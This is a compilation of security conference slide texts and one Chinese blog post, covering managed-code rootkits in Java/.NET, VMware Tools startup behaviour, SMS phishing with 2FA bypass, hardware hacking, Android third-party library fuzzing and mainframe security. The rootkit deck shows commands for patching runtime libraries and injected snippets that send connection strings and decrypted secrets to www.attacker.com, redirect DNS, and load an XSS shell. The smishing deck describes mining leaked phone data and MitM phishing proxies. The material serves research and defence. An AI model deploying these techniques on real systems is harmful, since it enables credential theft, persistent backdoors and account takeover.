sandbox” • Think of it as an “applicative OS” for apps • Example: Java Virtual machine (JVM) • High level intermediate assembly language • As opposed to unmanaged code (example: C/C++) which is executed directly by the CPU • Write once, run everywhere • Managed code is independent of the underlying platform. • The VM acts as a machine specific “bridge” • Same code can run on Windows, Linux, Mac, Mainframe, mobile phone, database, car, toaster.. Write once, run everywhere Managed code platform examples • Examples of application VM used in managed code platforms • Java Virtual Machine (JVM) • .NET Framework (CLR) • PHP (Zend Engine) • Flash Player / AIR - ActionScript Virtual Machine (AVM) • Python • Dalvik virtual machine (Google Android, thanks to Marc Schoenefeld ) • SQLite virtual machine (VDBE) • Perl virtual machine • Etc… • Java & .NET were chosen as case studies • Execution model similar to each other and to other platforms • Used today by most new development projects )Bytecode (CLASS Java Source code Machine specific code Compile Hosted Java JVM •VM •Managed code JVM JIT Loader Java class library JAR JAR JAR Load a class based on its name Bytecode Machine instructions (ASM) Java JVM OS APP Overview of Java execution model Execution Assembly (EXE/DLL) . NET Source code Machine specific code Compile . NET Framework •VM •Managed code CLR JIT Loader GAC DLL DLL DLL MSIL Machine instructions (ASM) Net VM. OS APP Overview of .NET execution model Hosted Execution Load a class based on its signature What are Managed Code Rootkits (MCR )? • User-mode, Application level rootkits, hidden inside the managed code environment libraries • Their target - the managed code runtime (the VM) providing services to the upper level applications • Web apps & desktop applications • MCR influence is on the upper level application, controlling all apps • Traditional rootkits usually hide some information from the OS • Hiding their presence • Hiding files, processes, registry keys, ports, etc… • MCR can do the same, but by hiding from the applications • MCR can also cause sophisticated logical behavior modification • An ideal, overlooked place for malicious code hiding • No AV / IPS understands intermediate language bytecodes • No AV / IPS can tell whether the application behavior is legit • Forensics checklists does not cover managed code runtimes • Developers backdoors are hidden from code review audits • Universal rootkit - rely on the VM’s generation of machine specific code for different platforms • Large attack surface • VM’s are Installed/preinstalled on almost every machine • one deployment can control all applications (hosting - very dangerous) • Managed code becomes part of the OS (Example: .NET PowerShell cmdlet’s) • Sophisticated attacks enabler • Low level access to important methods • Timing • Object Oriented malware MCR advantages Application Runtime Class Libraries OS APIs and services static void Main(string[] args) { //DO SOMETHING //EXAMPLE: call RuntimeMethod RuntimeMethod(); } public void RuntimeMethod () { //The implementation of RuntimeMethod () //DO SOMETHING DIFFERENT } User public void RuntimeMethod () { //The implementation of RuntimeMethod () //Implementation code //….. } Hacked ..From language modification to rootkit implementation Example Code The WriteLine(s) double printing PoC (.NET ) • Original code of WriteLine: • Modified code: Print #1 Print #2 (duplicate) Attack Scenarios • Messing with the sandbox usually requires admin privileges (ACL restriction) • Scenario #1 - Attacker gains admin access to a machine by exploiting an unpatched vulnerability • Housekeeping attack vector • Alternative post exploitation attack vector for rooted machines • Scenario #2 – The “trusted insider” threat – trusted employee who abuses his admin privileges on the attacked machine • Here we’re talking about Developers, IT Admins, DBA’s, etc. • What’s next? • Attacker installs a MCR, capable of • Hide processes • Hide files • Hide network connections • Install a backdoor for future access to the system • Manipulate sensitive application logic Implementation techniques • MCR’s act as a part of the sandbox so they have access to low level, private methods • They can change the virtual machine’s implementation • Non evasive (“by design”) • AOP - Aspect programming (dynamic weaving) • Configuration modification • Setting an alternative evil ClassLoader • Loading a malicious agent “-javaagent:MyEvilAgent.jar” (Java) • Library location tampering of “machine.config” (.NET) • Evasive • Direct modification of the library intermediate bytecode • Using evasive techniques, the application cannot detect the presence of a rootkit. The modified sanbox “lies” to the application. • Overview of Java JVM modification steps • Locate the class (usually in rt.jar) and extract it: jar xf rt.jar java/io/PrintStream.class • Dissassemble it (using Jasper disassembler) Java –jar jasper.jar PrintStream.class • Modify the bytecode • Assemble it (using Jasmin assembler) Java –jar jasmin.jar PrintStream.j • Deploy the modified class back to its location: jar uf rt.jar java/io/PrintStream.class For more information: http://www.applicationsecurity.co.il/Java-Rootkits.aspx Java Rootkits an example of evasive technique implementation .NET Rootkits an example of evasive technique implementation • Overview of .NET Framework modification steps • Locate the DLL in the GAC, and disassemble it ILDASM mscorlib.dll /OUT=mscorlib.dll.il /NOBAR /LINENUM /SOURCE • Modify the MSIL code, and reassemble it ILASM /DEBUG /DLL /QUIET /OUTPUT=mscorlib.dll mscorlib.dll.il • Force the Framework to use the modified DLL c:\WINDOWS\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089 • Avoiding NGEN cached Native DLL ngen uninstall mscorlib • Remove traces with NGEN • More info can be obtained at the “.NET Rootkits” whitepaper ( http://www.applicationsecurity.co.il/.NET-Framework-Rootkits.aspx) and the BlackHat Europe slides Add “malware API” to classes the building blocks • A.K.A. Method / Function injection • Extend the runtime environment with general purpose “malware API” implemented as new methods • Used by payload code - Deploy once, use many times • Parameter passing • Some examples • private void SendToUrl(string url, string data) • private void ReverseShell(string ip, int port) • private void HideFile (string fileName) • private boolean InjectClass (Class maliciousClass) • private Socket MitM (string victimURL, int port, string attackerURL) • Public void KeyLogEventHandler (Event e) • Will be used later on Attacking the “Object” class • Object Oriented and inheritance play their role • All classes automatically extend the class “Object” • They inherit its member variables & methods • Object contains generic code that is shared among all the other objects • Injecting a new method to “Object” class will influence ALL existing classes • Example: report current object variables to attacker private void SendVariables(string attackerAddress) Malware development scenarios • Changing a language class libraries can lead to some very interesting attacks • Code manipulation, API Hooking • Authentication Backdoors • Sensitive data theft • Resource hiding (file,process,port…) • Covert Channels / reverse shells • Proxy (bouncer), DNS fixation, MitM.. • Polymorphism attacks • Disabling security mechanisms • Remember, we are hiding it from apps running inside the sandbox, not from the OS • We are messing with the sandbox • Let’s talk about some examples… Stealing authentication credentials • Stealing from inside of Authenticate() - used by all applications • Send the credentials to the attacker url • We can use our SendToUrl(), to send the info to the attacker Post injected Original code Modified code(post injection) DEMO Hooking into “FormsAuthentication::Autheticate()” (.NET/Windows) Stealing credentials from all hosting apps login pages http://www.RichBank.com/formsauthentication/Login.aspx Victim Authentication backdoors • Another attack on Authenticate() method - authentication backdoors • Conditional authentication bypass • Example – “MagicValue” (Disasm->Edit->Asm->Decomp): Original code starts here Injected code Reverse Shell • Encoded version of netcat (MSIL array, dropandpop) • Deployed as public method+private class • Example – trigger - connect on Application::Run() Pre injection Original code Modified code (pre injection) Crypto attacks • Tampering with Cryptography libraries • False sense of security • Some scenarios: • Key fixation and manipulation • Key stealing (example - SendToUrl(attacker,key) ) • Algorithm downgrading (AES -> DES, etc..) • Example – GenerateKey() key fixation: Modified DNS manipulation • Manipulating DNS queries / responses • Example (Man-In-The-Middle) • Fixate the runtime DNS resolver to return a specific IP address, controlled by the attacker • Dns::GetHostAddresses(string host) (.NET) • InetAddress::getByName(string host) (Java) • All communication will be directed to attacker • Affects ALL network API methods • Example: resolve victim -> attacker Injected code: public static InetAddress getByName(String s){ if(s.equals("www.ForexQuoteServer.com")) s = "www.attacker.com"; return getAllByName(s)[0]; } • Modified classes are platform independent • We will deploy the same class used on Win on a linux machine • Forex Server DEMO “InetAddress::getByName()” conditional IP fixation (JAVA/Linux) BT4 Linux www.attacker.com www.ForexQuoteServer.com (local) Stealing connection strings • Timing is everything • SqlConnection::Open() is responsible for opening DB connection • “ConnectionString” variable contains the data • Open() is called, ConnectionString is initialized • Send the connection string to the attacker public override void Open() { SendToUrl(“www.attacker.com”, this.ConnectionString); //original code starts here //….. } Permanent HTML/JS injection • Malware does not necessary have to be injected into code sections • Tamper with hard-coded HTML/Javascript templates • Inject permanent code into code templates • Permanent XSS • Proxies / Man-in-the-Middle • Defacement • Browser exploitation frameworks • Example – injecting a permanent call to XSS shell: <script src="http://www.attacker.com/xssshell.asp?v=123"></script> <script src="http://www.attacker.com/xssshell.asp?v=123"></script> Pick into SecureString data • In-memory encrypted string for sensitive data usage (.NET) • It probably contains valuable data ! • Example – extract the data and send it to the attacker (decompiled): IntPtr ptr = System.Runtime.InteropServices.Marshal.SecureStringToBSTR(secureString); SendToUrl(“www.attacker.com”, System.Runtime.InteropServices.Marshal.PtrToStringBSTR(ptr)); Disabling security mechanisms • Java JAAS (Java Authentication & Authorization Service) / .NET CAS (Code Access Security) are responsible for runtime code authorizations grant CodeBase "http://www.example.com", Principal com.sun.security.auth.SolarisPrincipal "duke" { permission java.io.FilePermission "/home/duke", "read, write"; }; • Security logic manipulation • Example – messing with Demand() • CodeAccessPermission,FileIOPermission, RegistryPermission,Principal… • Effect - Applications will not behave according to declared policy settings • False sense of security (code seems to be restricted!!) • Configuration audit is useless But those were just examples • The sky is the limit. Advanced topics • Cross platform modified class can run on different platforms • “One class to rule them all, One class to find them, One class to bring them all and in the darkness bind them” • What about other Runtimes? • ESB? Web Service stacks? Application Servers? Databases? SilverLight? PowerShell? • Their behavior can be changed • Multiple, chained rootkits / second order rootkits 1. OS level rootkit covering up the traces of MCR (file size, signature..) 2. VM level MCR covering its traces from the application Automating the process with .NET-Sploit 1.0 • General purpose .NET DLL modification tool • Able to perform all previous steps • Extract target DLL from the GAC • Perform complicated code modifications • Generate GAC deployers • Easy to extend by adding new code modules • Can be used on linux using project mono • Most of the discussed attacks have a .NET-Sploit PoC module implementation . NET-Sploit module concept • Generic modules concept • Function – a new method • Payload – injected code • Reference – external DLL reference • Item – injection descriptor • Comes with a set of predefined modules • Check the documentation Item example <CodeChangeItem name="print twice"> <Description>change WriteLine() to print every string twice</Description> <AssemblyName> mscorlib.dll </AssemblyName> <AssemblyLocation>c:\WINDOWS\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089 </AssemblyLocation> <AssemblyCode> <FileName> writeline_twice.payload</FileName> <Location> <![CDATA[ instance void WriteLine() cil managed ]]> </Location> <StackSize> 8 </StackSize> <InjectionMode> Post Append </InjectionMode> </AssemblyCode> </CodeChangeItem> Injected Code (payload/func) Target Hooking point Mode (Pre / Post / Replace) Location Open a reverse shell to the attacker’s machine when a specific application (“SensitiveApplication.exe”) is executed .NET-Sploit will inject the following code: • General purpose ReverseShell() method • Loader code - into the Framework “Run()” method DEMO - .NET-Sploit Targeted reverse shell (.NET) Call for action • AV/HIPS vendors AV/HIPS vendors – Block Runtime tampering attempts • IT IT - File tampering detectors (external tripwire) • Auditors/testers Auditors/testers – know about this malware hiding place • Forensics Forensics – look for evidence inside the runtime VM • Developers Developers – your app is secure as the underlying runtime VM • VM Vendors VM Vendors – Although it’s not a bulletproof solution - Raise the bar. It’s too low! • End users End users – verify your Runtime libraries! References • More information can be obtained at http://www.applicationsecurity.co.il/Managed-Code-Rootkits.aspx • Slides • Whitepaper • .NET-Sploit Tool & Source code • .NET-Sploit PoC modules to described attacks • Ken Thompson, C compiler backdoors “Reflections on Trusting Trust” http://cm.bell-labs.com/who/ken/trust.html • Dinis Cruz, OWASP.NET, “the dangers of full trust applications” http://www.owasp.org/index.php/.Net_Full_Trust Summary • Malicious code can be hidden inside an application runtime VM • It is an alternative place for malware deployment besides the Kernel, BIOS, Drivers, etc.. • It is an alternative place for backdoors • Can lead to some very interesting attacks • It does not depend on specific vulnerability • It is not restricted only to Java or .NET • .NET-Sploit, a generic language modification tool, simplifies the process for .NET and it can be extended to other platforms • But remember that .NET-Sploit is not necessary an evil tool. It can be used to create customized (“mod”) Frameworks… Questions ? Questions ? Thank you ! Thank you ! ErezMetula@gmail.com ErezMetula@gmail.com Material can be found here: Material can be found here: http://www.applicationsecurity.co.il/Managed-Code-Rootkits.aspx
pdf
前言 周六晚上,本来打开电影网站准备看电影的时候,导师发来张图,说这个 exe 在添加进启动项的时候, 360没有拦截,就想着我们能不能也利用下。 先说结论:分析后我个人感觉利用难度较大,价值不高,如果有师傅可以成功利用的话,请疯狂call 我!!! 首先我的第一反应是白加黑,但很快被当头一棒,不能想当然。还是要老老实实分析,切忌主观臆断。 先了解下这个程序,看到这里喜忧参半,看描述似乎确实有木马伪装成这个程序,但这个程序有签名。 下面要做的就是分析这个程序的加载方式了,这里我选择的火绒剑来监控。 首先删除这个注册表项,然后重装vmtools,安装完成后, vmtoolsd.exe 会被写进启动项。我们做的 就是分析安装过程中,该值是如何被写进注册表的。 删除该项 重装vmtools 火绒剑监控注册表 安装完成导出日志就好了,这里导出有18m,9w行的日志……. 日志分析 这里个人感觉没必要全部都看,里面很多日志都是重复的。而且在不一定可以利用的情况下,首先搞清 楚技术点才最重要。 看到这里是调用 Msiexec.exe 来进行安装,查了一下 Msiexec.exe ,在安装程序时都会调用该程序, emm这里先不管 不知道为什么还涉及到了java… 看到这里已经不报希望了,涉及到了硬件的操作… RDP session,难道还涉及 RDP协议? 又有信任证书的问题 可能是监测局域网吧,毕竟是在虚拟机中 调用Wshshell, wscript 对象可以创建两个COM对象, WshShell 和 WshNetwork 。这里倒是可以理 解,毕竟 WshShell可以实现注册表的读写操作, 这里也能明白,vmtools安装的时候是一个自解压包 在安装的时候调用很多驱动 加密签名 这里就不明白了,怎么还有TCP/IP的接口…… 总结 看到这里差不多了,一言难尽,总之看着就不好利用,原因如下: 这里限于作者水平有限,抛砖引玉。 如果有师傅研究出利用方法,请疯狂call我! 1.vmtoolsd.exe 这个程序本身有加密签名 2.安装过程中有驱动操作 3.校验了证书完整性 4.复杂的tcpip、winsock操作...这里没看懂 5........
pdf
Smishsmash Blackhat 2022 About us Thomas Olofsson ● Digital Nomad (many homes) ● Founder sec-t.org ● Co-founder FYEO Inc ● Winner defcon CTFs ages ago ● Secure coding and development ● Likes threat actor research and incident investigations thomas@gofyeo.com Twitter: @skjortan Mikael Bystrom ● Hardware and software hacker ● Collector of hardware and intel ● Picks locks and breaks stuff ● Player of CTFs and chess ● Co-founder FYEO Inc ● Some other fun fact mikael.bystrom@gofyeo.com Twitter @gsocgsoc www.gofyeo.com Setting the scene Last couple of years there has been quite a few incidents where ● Taken over accounts ● Via phishing ● Bypassing 2fa We wanted to research ● How did they do it ● What are the attack vectors ● What is needed ● Can we reproduce it ● Can we help people protect against it Smishing (SMS phishing) We are seeing more and more text based phishing attacks by the day ● most of the phishing protection mechanisms are not designed to protect against this as they are still mostly for email. ● Smishing attacks have expanded by over 7x in the first two quarters of 2021 compare to 2020. * ● Hard to verify integrity or sender or the messages ● Less than 35% of The People Actually Know when They’re Becoming the Target of Smishing Attacks * https://earthweb.com/smishing-statistics/ Why this sudden increase in smishing ● Higher trust than emails! ● Still fewer SMS than email spam ● Much higher success rate than email spam due to less implemented counter measures Digital dumpster diving How did we find these phone numbers and “Dump files” ● There is a whole online community dedicated to trading in stolen / leaked data ● Both on clear-net sites and on the darknet ● Go where the bad guys hang out. Getting the ducks in a row Once you have the dump files its all about making sense of the data ● Listing some of the most popular leaked files and how many telephone numbers they contained. (Logo garden) a. Facebook.com - 123 million phone numbers and 180 million emails b. Jd.com - 96M c. Vk.com - 78M d. … All your Numbers are belong to us! NUMBERS Demo! [CREDENTIALS] USERNAME:PASSWORD/HASH [CREDENTIALS] USERNAME:PASSWORD:TELEPHONE Telephone rainbow tables anyone? ● We are currently able to tie one in 10 email addresses on the internet to a valid telephone number. ● We have so far indexed in excess of 500M (Million) phone numbers and email pairs (We are still indexing and think we will soon double this number) ● Together with password hashes this is a great start for attacks If we can do this, so can the bad guys The examples being: ○ Human rights watch attack (2018) ○ Crypto.com (2021) ○ Opensea (2022) The most popular 2fa bypass via Smishing-/phishing 1. Account recovery and password resets to change phone number 2. SMS injection into initiated login with 2fa enabled 3. Smishing / phishing proxies against the real sites. Saving the session cookies 4. Sim jacking / sim cloning /porting Account recovery ● In general the account recovery options are quite open ● Helps with verifying other linked accounts and telephone numbers ● Helpdesk is still a popular way to change telephone numbers for 2fa Crypto.com attack ● $34.6M lost from 436 account ● 2fa bypass via smishing password reset Coinbase attack “In order to access your Coinbase account, these third parties first needed prior knowledge of the email address, password, and phone number associated with your Coinbase account“ “However, in this incident, … the third party took advantage of a flaw in Coinbase’s SMS Account Recovery process in order to receive an SMS two-factor authentication token and gain access to your account” Opensea.com attack Oh oh er… after we did this research this happened. Let’s talk about SMS (text messages) SMS aka Short Message Service was basically a way to use an unused space in the packet format that GSM used in 1985!!! ● The SMS was first developed in 1984 by Friedhelm Hillebrand and Bernard Ghillebaert. ● The first text message was sent Dec 3rd, 1992 from Neil Papworth, Sema Group Telecoms. ● Papworth’s text — “Merry Christmas” — was successfully sent to Richard Jarvis at Vodafone. SMS as a security token. ● SMS messages have NO SENDER VERIFICATION whatsoever ● There is no check from who or what the from_number field includes except alpa-num. ● ANY 7 bit ASCII is valid... as long as you can log in to a SMSC you can send whatever you want. ● So getting a text from "your number" is as legit as from "SANTA CLAUS". * *some us-based carriers have started to block this now in late 2020 Demo time let’s send some SMS messages (Smishing) ● Sending sms through API service ● Sending sms through modem / old phone Demo Teaching old phones new tricks Taking it to the next level Smishash attack (all together now) DEMOS Anyone? Phished user Adversary in the middle Website server SSL/TLS SSL/TLS How to integrate this into red teaming ● Start with OSint collection ○ Indexing some of the large dumps will go a fat way ● Smishing ○ Api providers are plentiful ○ Our sample scripts are being open sources ● Mitm proxies ○ We recommend evilginx as a good easy start ○ https://github.com/kgretzky/evilginx2 Lets go phishing! :) Protection against nitm 2fa bypass Protect against man in the middle ● Recaptcha (Hidden) ○ Employed by most current crypto exchanges ● Cloudfront cookies (hidden) ○ Easy quick mitigation but possible to bypass Release of research data Full release of hashed data available at gitlab://xyz-smishsmasish-db Full data available at request for accredited security researchers Questions? gofyeo.com
pdf
Hardware Hacking for Software Geeks David Gustin and Ab3nd Introduction ● Why this talk? ● Building a lab ● Tools ● Forward Engineering ● Reverse Engineering Building a Lab ● Space ● Ventilation ● Lighting ● Work surfaces ● Grounding Soldering ● Iron selection ● Solder selection ● Practicing ● Limits of human ability Advanced Soldering Tricks ● Toaster oven reflow soldering ● Skillet reflow soldering ● Hot air tools Toaster Oven Refow ● Toaster oven as heat source ● Temperature controlled by computer Skillet Reflow ● Electric skillet as heat source  ● Easier to watch progress Hot Air Tools ● Heat gun ● Hot air pencil Tools ● Volt/Ohm meter (VOM) ● Oscilloscope ● Logic probe ● Logic analyzer Volt/Ohm Meter ● Analog vs. digital ● Bells and whistles Oscilloscopes ● Analog vs. digital ● DIY or buy? ● Secondhand or new? Logic Probes ● Display the state of a single logic signal ● DIY or buy? Logic Analyzers ● Display the state of multiple logic signals ● Usually can record signals ● DIY versions USB tools ● Portable, can be cheaper ● May be OS constrained DIY tools ● XOScope ● Parallel port logic analyzers ● JTAG wigglers ● Flash Dumpers Sources ● The Internet – Harbor Freight, Ebay (also has bio lab gear) ● Hamfests ● Dumpster Diving ● Colleges – Befriend some real scientists Autodiadacticism! ● Engineer's Notebook series – Forrest Mims ● The Art of Electronics (aka The Bible) – Horowitz and Hill ● Application Notes Forward Engineering As opposed to...the other kind. Process ● Gather requirements ● Research resources ● Assemble solution ● Test and refine Chip Selection ● Architecture ● Speed ● Storage space ● I/O ● Embedded peripherals Embedded Architectures ● PowerPC ● ARM ● MIPS ● X86 ● HC91S12 ● ARM ● PIC Evaluation Boards ● Purpose ● Sources GNU Toolchains ● Allows cross­compilation ● Availability highly variable Embedded OSs ● OS or not? ● Embedded Linux ● FreeRTOS ● DOS (No, really) No OS ● Task loop ● Data storage ● Interrupts ● I/O ● Timers Building Blocks ● Pluggable functionality ● Object Oriented hardware! Communication ● CAN bus ● SPI / 2­Wire / I2C ● RS232's not dead Reverse Engineering Live by the soldering iron, die by the DMCA Process ● Start with a product ● Figure out the subsystems ● Determine the parts of interest ● Figure out what each part does Reading PCBs ● Parts ● Traces ● Silkscreen Filling in the Blanks ● Datasheet searches ● Recognizing common subsystems Protocol Reversing ● Snooping ● Fuzzing Dumping Code ● BDM ● JTAG ● Flash Dumpers ● EPROMS Decompiling ● IDA Pro ● Learn assembly, microcontroller organization The End ● Thanks to the Hacker Foundation, etc...
pdf
About • 阿里巴巴移动安全专家 • 曾发现谷歌,苹果等众多国 内外知名公司漏洞 • 擅长windows安全, andrdoid安全,漏洞挖掘 • 支付宝钱包终端攻防对抗组 的负责人 • 客户端技术专家 • 主要移动端逆向、漏洞挖掘、 防护 dragonltx 曲和 Alipay.unLimit.Security.Team 1 第三方库安全现状 2 攻击Android第三方库 3 Fuzz*Android第三方库 4 第三方库安全思考 5 Q&A Agenda Part. 01 第三方库安全现状 3 探索⼀切、攻破⼀切 | [ Hacker@KCon ] 探索⼀切、攻破⼀切 | [ Hacker@KCon ] 探索⼀切、攻破⼀切 | [ Hacker@KCon ] Part. 02 攻击Android第三方库 7 2 zxing 二维码解析库 几乎所有App都有扫码功能,攻击范围大 2 zxing sqlcipher 第三方透明加密数据库组件 sqlcipher编译时没移除load* extension sql注入配合load_extension进行漏洞利用 sqlcipher 远程代码执行 黑客可将文件通过目录遍历漏洞放到app私有目录下 通过发消息触发sql注入语句 存在漏洞的app可以接收文件 攻击思路最早由TSRC白帽子雪人提出: chromium 国内很多Android浏览器都使用这个内核进行二次开发 最新的Android系统webview使用该引擎 历史漏洞众多(uxss,overflow,use* after*free,address*bar*spoof*etc.) chromium chromium 530301/531891影响众多国内浏览器 chromium 530301/531891影响国内众多Android5.0系统webview/系统自带浏览器 stagefright Android多媒体解析库 许多Android* App也会使用stagefright作为多媒体解析库 可通过彩信,视频浏览等进行攻击 stagefright 2 libupnp 局域网内便捷播放UPnP架构库 开放了UDP 1900端口,可远程攻击 2 libupnp 2 ffmpeg 采集功能、视频格式转换、视频抓图、给视频加水印等。 越来越多的应用使用ffmpeg库 2 ffmpeg 2 ffmpeg*CVE-2016-6920*0day 2 sdk安全 so可被劫持 so自身设计安全 Part. 03 Fuzz*Android第三方库 25 Fuzz**tools Peach MFFA honggfuzz AFL Peach*fuzz教程 http://www.peachfuzzer.com https://github.com/fuzzing/MFFA https://github.com/google/honggfuzz http://lcamtuf.coredump.cx/afl/ http://bbs.pediy.com/showthread.php?t=176420 Android Fuzz 基于文件格式规范 样本大小无限制 无需基于文件格式规范 代码路径反馈 小样本 Peach Honggfuzz AFL 无需基于文件格式规范 代码路径反馈 小样本 MFFA + Peach MFFA传输样本到手机 基于peach.pit生成样本 MFFA调起目标并监控崩溃 Peach MFFA 案例:360影视 fuzz 案例:360影视 fuzz 案例:360影视 fuzz 案例:skia fuzz 9-patch*(also*known*as*NinePatch)* is*an*Android-specific*extension*to the*PNG*image*format*that*allows* for*automatic*scaling*of*images 案例:skia fuzz 案例:skia fuzz(CVE-2015-1532 Reproduce) 案例:stagefright fuzz build the module push the module run the module frameworks/av/cmds/stagefright mma /data/local/tmp/ ./stagefright –a ./stagefright -s 案例:stagefright fuzz(CVE-2015-6599) 案例:stagefright fuzz(CVE-2015-6599) AFL + Peach + MFFA AFL Peach Create.sample. file.based.on. afl.corrupted. file Run. stagefright. with.MFFA Build.the. android. source. code Build. stagefright. with.afl Run. stagefright. with.afl- fuzz • Your*text*in*here • Your*text*in*here • Your*text*in*here • Your*text*in*here • Your*text*in*here • Your*text*in*here • Your*text*in*here • Your*text*in*here More* code* coverage Based*on file* specification Advantage linkage More* efficiency 案例:stagefright fuzz(CVE-2016-0842 Duplicate) 案例:stagefright fuzz(CVE-2016-0842 Duplicate) 案例:stagefright fuzz(CVE-2016-0842 Duplicate) Part. 04 第三方库安全思考 42 扫描器直接支持第三方库漏 洞扫描? 使用后扫描 存在1个第三方库漏洞库方 便开发查询使用的SDK是否 存在历史漏洞? 使用前查询 Q&A 2 我们正在招聘 支付宝钱包移动安全团队(新组建) 逆向、漏洞等 T H A N K S
pdf
mainframed767 & bigendiansmalls B.U.M. Corp. Confidential Security Necromancy: Further Adventures in Mainframe Hacking mainframed767 & bigendiansmalls B.U.M. Corp. Confidential B.U.M. Corp. Confidential Genesis •  Wondered: Who’s researching this shit? – Windows 4,951 – Mac OSX 2,270 – z/OS (mainframe) Source (cvedetails.com) 0" mainframed767 & bigendiansmalls B.U.M. Corp. Confidential B.U.M. Corp. Confidential ZERO?? WTF •  Imagine if you will … Your Doctor calls IBM"System"z"believes"that"the"details"of"Security"/"Integrity" APARs"should"not"be"made"publically"" available." With"the"criBcal"workloads"running"on"these"systems,"the" impact"of"a"vulnerability"being"exploited,"however,"" could"severely"damage"customer"operaBons"and"business."" One"of"the"benefits"for"not"providing"vulnerability"details"is" that"both"external"aIackers"and"internal"personnel"threats" can"not"get"access"to"informaBon"that"could"put"an" enterprise"at"undue"risk."" Source"(ibm.com,"DOC#"ZSQ03054SUSENS03)" mainframed767 & bigendiansmalls B.U.M. Corp. Confidential B.U.M. Corp. Confidential $100,000 Brick mainframed767 & bigendiansmalls B.U.M. Corp. Confidential B.U.M. Corp. Confidential So who are you? •  We’re just two cools dudes •  And we are gonna rock your fucking socks off mainframed767 & bigendiansmalls B.U.M. Corp. Confidential B.U.M. Corp. Confidential S M A L L S B I G E N D I A N mainframed767 & bigendiansmalls B.U.M. Corp. Confidential B.U.M. Corp. Confidential S M A L L S B I G E N D I A N !  Cut my teeth on AS400 !  Love puzzles, breaking things !  Woke up in a panic – because of Mainframe! !  Realized I could get access to my own !  Started Exploit dev research !  Wrote first z/OS shellcode (check your CD) !  Dedicating life to helping poor, unfortunate corporations secure their shit" mainframed767 & bigendiansmalls B.U.M. Corp. Confidential B.U.M. Corp. Confidential mainframed767 & bigendiansmalls B.U.M. Corp. Confidential B.U.M. Corp. Confidential !  “in” to mainframes in the 90s courtesy of datapac (a Canadian x.25 network) !  Security Consultant !  Got my own mainframe "  Realized its not as great as engineers have said (shocker!) !  I’ve spoken domestically and internationally !  Released multiple tools from password sniffing to user enumeration" mainframed767 & bigendiansmalls B.U.M. Corp. Confidential B.U.M. Corp. Confidential WTF is a Mainframe? Picture is worth a thousand words: mainframed767 & bigendiansmalls B.U.M. Corp. Confidential B.U.M. Corp. Confidential mainframed767 & bigendiansmalls B.U.M. Corp. Confidential B.U.M. Corp. Confidential Reality •  Used by almost all fortune 100s – 90% according to IBM! – But seriously look at this: mainframed767 & bigendiansmalls B.U.M. Corp. Confidential B.U.M. Corp. Confidential Pepsico"INC"S"HarYord"Life"S"UBS"S"City"of"Phoenix"Phoenix"Az"USA"David"DeBevec"S"GCCPC"S"State"of"Alabama"Child"Support"Enforcement"Services"S"Jefferies"Bank"S" Bank"Vontobel"S"Duke"Power,"DB2"apps"S"Polfa"Tarchomin"S"Extensity"S"Patni"S"FPL"S"Wellpoint"S"Standard"Insurance"S"Fulton"County"S"Zagrebacka"Banka"(ZABA)"S" Community"Loans"of"America"S"WGV"S"NAV"S"InformaBon"Builders"S"AIG"Global"Services"S"T."Rowe"Price"S"Macro"Sob"S"Commerzbank"S"Macy's"Systems"and"Technologies" S"Phoenix"Home"Life"S"United"States"Postal"Service"—"Mainframe"Ops"S"United"Technologies"S"APIS"IT"S"Bajaj"Allianz"S"Universität"Leipzig"S"Abraxas"S"PRT"(Puerto"Rico" Telephone"S"Claro)"S"VISA"Inc."S"Taiwan"CooperaBve"Bank"Taiwan"S"Reserve"Bank"of"India"(www.rbi.org.in)"S"GEICO"Atlanta"GA"Insurance"S"GaranB"Technology"Istanbul" Turkey"S"Chrysler"S"Marist"College"S"GEORGIA"STATE"UNIVERSITY"S"Blue"Cross"Blue"Shield"MD"S"Self"Employed"Consultant"S"Mpowerss"S"TD"Ameritrade"S"Seminole" Electric"S"TD"Ameritrade"S"Modern"Woodmen"of"America"S"TIAASCREF"S"VF"Corp."S"CiB"/"Primerica"S"Comerica"Bank"S"American"Family"Insurance"S"Alliance"Data"Systems" (Texas"and"Ohio)"S"United"Parcel"Service"Inc"S"American"General"S"Farm"Bureau"Financial"Services"S"IBM"Global"Services"S"Abraxas"S"SLK"sobware"S"Brown"Brothers" Harriman"(BBH)"S"EDEKA"S"Mainframe"Co"Ltd"S"Guardian"Life"S"Enbridge"Gas"DistribuBon"S"SE"Tools"S"Southern"Company"S"Equifax"Inc"S"HSBC"S"IRS"S"Watkins(now"part"of" Fedex)"S"ForBs"S"General"Dynamics"S"United"States"Steel"S"TAG"S"Bank"of"America"S"Pitney"Bowes"(Danbury,"Ct.)"S"OFD"S"Infotel"S"Sainsburys"Plc"S"IRS,"New"Carrolton"MD"S" TIMKEN"S"TSSystems"S"Palm"Beach"County"School"District"The"School"District"of"Palm"Beach"County"West"Palm"Beach"FL"USA"George"Rodriguez"S"Emory"Univ"S"WIPRO" Technologies"S"Experian"Americas"S"Lawrence"Livermore"NaBonal"Laboratories,"Livermore,"CA"S"Helsana"S"Vertex"(only"SeaIle"area)"S"Suntrust"Banks"Inc"S"AMB"Generali" S"Casas"Bahia"S"Express"Scripts"S"Harland"Clarke"(John"H."Harland"Co)"S"Medical"College"of"Georgia"S"Waddell"&"Reed"FInancial"Services"S"Praxair"(Danbury,"Ct.)"S"Avnet"S" BMW"S"Ryder"Trucks"Miami"FL"USA"S"COVANYS"S"Emblem"Health"S"Bank"of"New"York"Mellon"(BNY)"(BK)"New"York"NY,"PiIsburgh,"PA"and"Nashville,"TN,"EvereI"S"Allied" Irish"Bank"AIB"(www.aib.ie)"S"VISA"Inc."S"MAJORIS"S"AARP"S"Logica"Inc"S"Matera"S"R+V"S"Texas"A&M"University"Colleg"StaBon"TX"USA"S"Riocard"TI"S"United"Missouri"Bank"S" R"R"Donlley"S"TechData"S"SERPRO"S"GreatSWest"Life"S"UNUM"Disability/Insurance"Portland"ME"Columbia"SC"S"Lloyds"Banking"Group"S"DST"S"ACS"State"Healthcare"S"IBM" Global"Services"S"Travelport"S"State"Farm"Ins"S"CDSI"S"ABSA"Bank"S"Maintec"Technologies"Inc."S"TESCO"Bangalore"India"Sivaprasad"Vura"S"MINDTREE"S"CAP"GEMINI"S"Mass" Mutual"S"AOK"S"TD"Auto"Finance"S"Blue"Cross"Blue"Shield"TN"S"Applabs"S"NaBonal"Life"Group"S"VOLVO"IT"Corp."S"United"Health"Care"(UHG)"S"Banco"Itau"S"CEPROMAT"S" 